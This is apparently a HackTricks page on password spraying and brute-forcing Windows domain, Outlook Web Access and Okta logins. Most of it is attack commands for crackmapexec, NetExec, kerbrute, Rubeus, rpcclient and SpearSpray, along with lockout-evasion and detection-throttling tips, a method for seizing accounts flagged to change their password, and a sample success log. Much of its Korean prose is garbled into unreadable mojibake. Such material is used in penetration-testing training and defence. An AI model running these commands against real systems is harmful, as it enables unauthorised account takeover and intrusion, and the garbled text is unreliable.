Password Spraying / Brute Force
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Password Spraying
์ฌ๋ฌ ๊ฐ์ valid usernames๋ฅผ ์ฐพ์๋ค๋ฉด, ๋ฐ๊ฒฌํ ๊ฐ ์ฌ์ฉ์์ ๋ํด ๊ฐ์ฅ ํํ common passwords๋ฅผ ์๋ํด๋ณผ ์ ์์ต๋๋ค(ํ๊ฒฝ์ password policy๋ฅผ ์ผ๋์ ๋์ธ์).
๊ธฐ๋ณธ์ ์ผ๋ก default minimum password length๋ 7์
๋๋ค.
common usernames ๋ชฉ๋ก๋ ์ ์ฉํ ์ ์์ต๋๋ค: https://github.com/insidetrust/statistically-likely-usernames
์ฐธ๊ณ : could lockout some accounts if you try several wrong passwords (๊ธฐ๋ณธ์ ์ผ๋ก 10ํ ์ด์).
Get password policy
user credentials๊ฐ ์๊ฑฐ๋ domain user๋ก์ shell์ ๊ฐ์ง ๊ฒฝ์ฐ ๋ค์์ผ๋ก get the password policy with:
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linux -u 'username' -p 'password' -P <IP>
rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo
ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# From Windows
net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
Exploitation from Linux (๋๋ ๋ชจ๋ ํ๊ฒฝ์์)
- crackmapexec ์ฌ์ฉ:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
- **NetExec (CME successor)**๋ฅผ ์ฌ์ฉํ์ฌ ํ์ ํ, ์ ์์ spraying์ SMB/WinRM ์ ๋ฐ์ ๊ฑธ์ณ:
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
# Spray a single candidate password against harvested users over SMB
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
--continue-on-success --no-bruteforce --shares
# Validate a hit over WinRM (or use SMB exec methods)
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
sudo ntpdate <DC_FQDN>
- kerbrute ์ฌ์ฉ (Go)
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
- spray (๊ณ์ ์ ๊ธ์ ํผํ๊ธฐ ์ํด ์๋ ํ์๋ฅผ ์ง์ ํ ์ ์์ต๋๋ค):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
- kerbrute ์ฌ์ฉ (python) - ๊ถ์ฅํ์ง ์์. ๊ฒฝ์ฐ์ ๋ฐ๋ผ ์๋ํ์ง ์์ ์ ์์
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
- Metasploit์
scanner/smb/smb_login๋ชจ๋์ ์ฌ์ฉํ์ฌ:
.png)
- rpcclient๋ฅผ ์ฌ์ฉํ์ฌ:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
Windows์์
- brute ๋ชจ๋์ด ํฌํจ๋ Rubeus ๋ฒ์ ์ผ๋ก:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
- Invoke-DomainPasswordSpray์(๋ฅผ) ์ฌ์ฉํ๋ฉด (๊ธฐ๋ณธ์ ์ผ๋ก ๋๋ฉ์ธ์์ ์ฌ์ฉ์๋ฅผ ์์ฑํ๊ณ ๋๋ฉ์ธ์ ์ํธ ์ ์ฑ ์ ๊ฐ์ ธ์ ์ด์ ๋ฐ๋ผ ์๋ ํ์๋ฅผ ์ ํํฉ๋๋ค):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword
์๋ณ ๋ฐ ์ธ์ โPassword must change at next logonโ ๊ณ์ (SAMR)
์์์ด ์ ์ ๊ธฐ๋ฒ์ benign/empty password๋ฅผ sprayํ์ฌ STATUS_PASSWORD_MUST_CHANGE๋ฅผ ๋ฐํํ๋ ๊ณ์ ์ ์ฐพ์๋ด๋ ๊ฒ์ด๋ค. ์ด๋ ๋น๋ฐ๋ฒํธ๊ฐ ๊ฐ์ ๋ก ๋ง๋ฃ๋์ด ์ด์ ๋น๋ฐ๋ฒํธ๋ฅผ ์์ง ๋ชปํด๋ ๋ณ๊ฒฝํ ์ ์์์ ์๋ฏธํ๋ค.
Workflow:
- ์ฌ์ฉ์ ์ด๊ฑฐ (RID brute via SAMR)๋ก ๋์ ๋ชฉ๋ก ์์ฑ:
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
- Spray an empty password๋ฅผ ์๋ํ๊ณ , hits๊ฐ ๋์๋ ๋ค์ logon ์ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์ด ํ์ํ ๊ณ์ ์ ํ๋ณดํ๊ธฐ ์ํด ๊ณ์ ์งํํ์ธ์:
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
- ๊ฐ ํํธ๋ง๋ค, SAMR์ ํตํด NetExec์ ๋ชจ๋๋ก ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํฉ๋๋ค (โmust changeโ๊ฐ ์ค์ ๋ ๊ฒฝ์ฐ ์ด์ ๋น๋ฐ๋ฒํธ ๋ถํ์):
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
์ด์ ๋ ธํธ:
- Kerberos ๊ธฐ๋ฐ ์์
์ ์ํํ๊ธฐ ์ ์ ํธ์คํธ ์๊ณ๊ฐ DC์ ๋๊ธฐํ๋์ด ์๋์ง ํ์ธํ์ธ์:
sudo ntpdate <dc_fqdn>. - ์ผ๋ถ ๋ชจ๋(์: RDP/WinRM)์์ [+]๊ฐ (Pwn3d!) ์์ด ํ์๋๋ ๊ฒ์ creds๊ฐ ์ ํจํ์ง๋ง ๊ณ์ ์ ๋ํํ ๋ก๊ทธ์จ ๊ถํ์ด ์์์ ์๋ฏธํฉ๋๋ค.
Brute Force
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authโbased spraying์ SMB/NTLM/LDAP ๋ฐ์ธ๋ ์๋๋ณด๋ค ๋ ธ์ด์ฆ๋ฅผ ์ค์ด๊ณ AD ์ ๊ธ ์ ์ฑ ๊ณผ ๋ ์ ๋ง์ต๋๋ค. SpearSpray๋ LDAP-driven ํ๊นํ , ํจํด ์์ง, ์ ์ฑ ์ธ์(๋๋ฉ์ธ ์ ์ฑ + PSOs + badPwdCount ๋ฒํผ)์ ๊ฒฐํฉํ์ฌ ์ ๋ฐํ๊ณ ์์ ํ๊ฒ ์คํ๋ ์ด๋ฅผ ์ํํฉ๋๋ค. ๋ํ ์นจํด๋ principals๋ฅผ Neo4j์ ํ๊ทธํ์ฌ BloodHound ๊ฒฝ๋ก ํ์์ ํ์ฉํ ์ ์์ต๋๋ค.
Key ideas:
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- ๋๋ฉ์ธ ์ ๊ธ ์ ์ฑ + PSO-aware ํํฐ๋ง์ ํตํด ๊ตฌ์ฑ ๊ฐ๋ฅํ ์๋ ๋ฒํผ(threshold)๋ฅผ ๋จ๊ฒจ ์ฌ์ฉ์๊ฐ ์ ๊ธฐ์ง ์๋๋ก ๋ฐฉ์ง.
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- ์ด๋ฆ ๊ฐ์ ๋ณ์์ ๊ฐ ์ฌ์ฉ์์ pwdLastSet์์ ํ์๋ ์๊ฐ๊ฐ์ ์ด์ฉํ ํจํด ๊ธฐ๋ฐ์ ์ฌ์ฉ์๋ณ ๋น๋ฐ๋ฒํธ ์์ฑ.
- ์ค๋ ๋, ์งํฐ, ์ด๋น ์ต๋ ์์ฒญ ์๋ก ์ฒ๋ฆฌ๋ ์ ์ด.
- ์ ํ์ Neo4j ํตํฉ์ผ๋ก owned users๋ฅผ BloodHound์ฉ์ผ๋ก ํ์ ๊ฐ๋ฅ.
Basic usage and discovery:
# List available pattern variables
spearspray -l
# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
๋์ ์ง์ ๋ฐ ํจํด ์ ์ด:
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
์๋ฐ์ฑ ๋ฐ ์์ ์ ์ด:
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
Neo4j/BloodHound ์ ๋ณด ๋ณด๊ฐ:
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
ํจํด ์์คํ ๊ฐ์ (patterns.txt):
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}
Available variables include:
- {name}, {samaccountname}
- ๊ฐ ์ฌ์ฉ์์ pwdLastSet(๋๋ whenCreated)๋ก๋ถํฐ์ ์๊ฐ๊ฐ: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- ์กฐํฉ ํฌํผ ๋ฐ ์กฐ์ง ํ ํฐ: {separator}, {suffix}, {extra}
Operational notes:
- ๊ฐ์ฅ ๊ถ์ ์๋ badPwdCount ๋ฐ ์ ์ฑ ๊ด๋ จ ์ ๋ณด๋ฅผ ์ฝ๊ธฐ ์ํด -dc ์ต์ ์ผ๋ก PDC-emulator์ ์ง์ํ๋ ๊ฒ์ ์ฐ์ ํ์ธ์.
- badPwdCount ์ฌ์ค์ ์ ๊ด์ฐฐ ์ฐฝ ์ดํ ๋ค์ ์๋์์ ํธ๋ฆฌ๊ฑฐ๋ฉ๋๋ค; ์์ ์ ์ํด ์๊ณ๊ฐ๊ณผ ํ์ด๋ฐ์ ์ฌ์ฉํ์ธ์.
- Kerberos pre-auth ์๋๋ DC telemetry์์ 4768/4771๋ก ๋ํ๋ฉ๋๋ค; ์์ด๊ธฐ ์ํด jitter์ rate-limiting์ ์ฌ์ฉํ์ธ์.
Tip: SpearSprayโs default LDAP page size is 200; adjust with -lps as needed.
Outlook Web Access
There are multiples tools for password spraying outlook.
- With MSF Owa_login
- with MSF Owa_ews_login
- With Ruler (reliable!)
- With DomainPasswordSpray (Powershell)
- With MailSniper (Powershell)
To use any of these tools, you need a ์ฌ์ฉ์ ๋ชฉ๋ก and a password / a small list of passwords to spray.
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020
Okta
- https://github.com/ustayready/CredKing/blob/master/credking.py
- https://github.com/Rhynorater/Okta-Password-Sprayer
- https://github.com/knavesec/CredMaster
์ฐธ๊ณ ์๋ฃ
- https://github.com/sikumy/spearspray
- https://github.com/TarlogicSecurity/kerbrute
- https://github.com/Greenwolf/Spray
- https://github.com/Hackndo/sprayhound
- https://github.com/login-securite/conpass
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying
- https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell
- www.blackhillsinfosec.com/?p=5296
- https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying
- HTB Sendai โ 0xdf: from spray to gMSA to DA/SYSTEM
- HTB: Baby โ Anonymous LDAP โ Password Spray โ SeBackupPrivilege โ Domain Admin
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


